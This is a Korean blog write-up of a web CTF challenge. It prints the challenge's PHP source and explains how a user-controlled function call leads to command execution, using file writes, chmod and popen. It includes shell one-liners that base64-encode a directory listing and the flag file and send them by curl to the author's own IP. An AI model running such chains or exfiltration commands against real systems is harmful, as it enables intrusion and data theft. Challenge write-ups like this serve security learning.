문제에 들어가보면 다음과 같이 코드를 제공해 준다.

 

 

<?php if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; }
    
error_reporting(0); session_start
(); 
    
// Anti XSS filter
    
$_REQUEST array_map("strip_tags"$_REQUEST
);
    
// For later, when we will store infos about visitors.
    
chdir("tmp"
);
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Work in progress...</title>
        <meta charset="utf-8" />
        <meta http-equiv="content-type" content="text/html; charset=utf-8" />
        <style>
            body {
                background-color: #aaa;
                color:#fff;
            }
            
            .page {
                width: 50%;
                margin: 0 auto;
                margin-top: 75px;
            }
            
            
            .menu ul li {
                display:inline-block;
                vertical-align:top;
                margin-right: 30px;
                
            }
        </style>
    </head>
    <body>
        <div class="page">
            <div class="menu">
                <ul>
                    <li><a href="?page=default">Home</a></li>
                    <li><a href="?page=introduction">Introduction</a></li>
                    <li><a href="?page=privacy">Privacy</a></li>
                    <li><a href="?page=contactus">Contact</a></li>
                </ul>
            </div>
            
            <div class="content">
                
<?php
                        
switch($_GET['page'
]) {
                            case 
'default'
:
                            default:
                                echo 
"<p>Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!</p>"
;
                                break;
                            case 
'introduction'
:
                                echo 
"<p>Our website will introduce some new vulnerabilities. Let's check it out later!</p>"
;
                                break;
                            case 
'privacy'
:
                                echo 
"<p>This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!</p>"
;
                                break;
                            case 
'contactus'
:
                                echo 
"<p>You can't contact us for the moment, but it will be available later.</p>"
;
                                
$_SESSION['challenge'] = rand(100000,999999
);
                                break;
                            case 
'captcha'
:
                                if(isset(
$_SESSION['challenge'])) echo $_SESSION['challenge'
];
                                
// Will make an image later
                
touch($_SESSION['challenge'
]);
                                break;
                            case 
'captcha-verify'
:
                
// verification functions take a file for later, when we'll provide more way of verification
                                
function verifyFromString($file$response
) {
                                    if(
$_SESSION['challenge'] === $response) return true
;
                                    else return 
false
;
                                }
                                
                                
// Captcha from math op
                                
function verifyFromMath($file$response
) {
                                    if(eval(
"return ".$_SESSION['challenge']." ;") === $response) return true
;
                                    else return 
false
;
                                }
                                if(isset(
$_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'
])){
                                    
$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer'
]);
                                }
                                break;

                        }
                
?>
            </div>
        </div>
        <p><a href="/?hl">View code source of the file, to be sure we're secure!</a></p>
        <p><a href="/phpinfo.php">Show our configurations</a></p>
    </body>
</html>

 

 

코드를 분석해보면 page값이 contactus일 때 세션값이 랜덤한 6자리 숫자로 세팅되고 page값이 captcha 일 때 세팅된 세션값을 출력해준 후 해당값으로 파일을 만든다.

 

그 후 로직을 보면 page값이 captcha-verify일 때 answer와 method 파라미터 값을 통해 함수를 실행시키는 로직이 있는데 이 부분을 통해 php 내 주요 함수들을 실행시켜 플래그를 가져오면 될 것 같았다.

 

해당 로직은 method에 함수이름 , answer에 2번째 인자값을 넣어줄 수 있고 첫번째 인자는 위에서 세팅된 파일명이기 때문에 이를 활용할 수 있는 함수를 사용해야했다.

 

전반적인 시나리오는 다음과 같이 짰다.

 

기존의 만들어진 파일에 os 명령어를 실행할 수 있는 쉘스크립트 내용을 삽입한 후 해당 쉘스크립트 파일에 권한을 부여한 다음 php 명령어실행 함수를통해 해당 쉘스크립트 파일을 실행한다.

 

쉘 스크립트 파일 내에서 실행될 명령어는 다음과 같이 사용했다.

#!/bin/sh ls / | base64 | curl http://내IP -G -d @-

요 내용을 삽입하기 위해 다음과 같이 실행시켜줬다.

 

 

세션 생성

 

 

세션명으로 파일 생성

 

 

생성된 파일에 ls / 한 내용을 base64 인코딩시켜 내서버로 날리는 쉘스크립트 파일 내용 삽입

 

 

실제로 내용이 제대로 들어갔는지 확인

 

 

권한 부여

 

 

파일 실행(여기서 시스템명령 실행 함수가 거의다 사용못하게 되어있었는데 다행히 popen은 쓸수있었음)

 

 

로그에 찍힌 base64값 디코딩을 통해 /디렉터리 내에 flag파일확인

 

이제 마지막으로 이전과 같은 방식으로 flag파일만 출력해주면된다.

 

#!/bin/sh cat /flag | base64 | curl http://내IP -G -d @-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

AceBear Security Contest 2018 BearShare Write up  (0) 2018.01.29
Plaid CTF 2013 ropasaurusrex Write up  (0) 2018.01.28
Codegate 2017 RamG-thunder  (0) 2018.01.20
Hack.lu CTF 2013: RoboAuth  (0) 2018.01.20
Sharif University CTF 2016 : SRM  (0) 2018.01.20
블로그 이미지

JeonYoungSin

메모 기록용 공간

,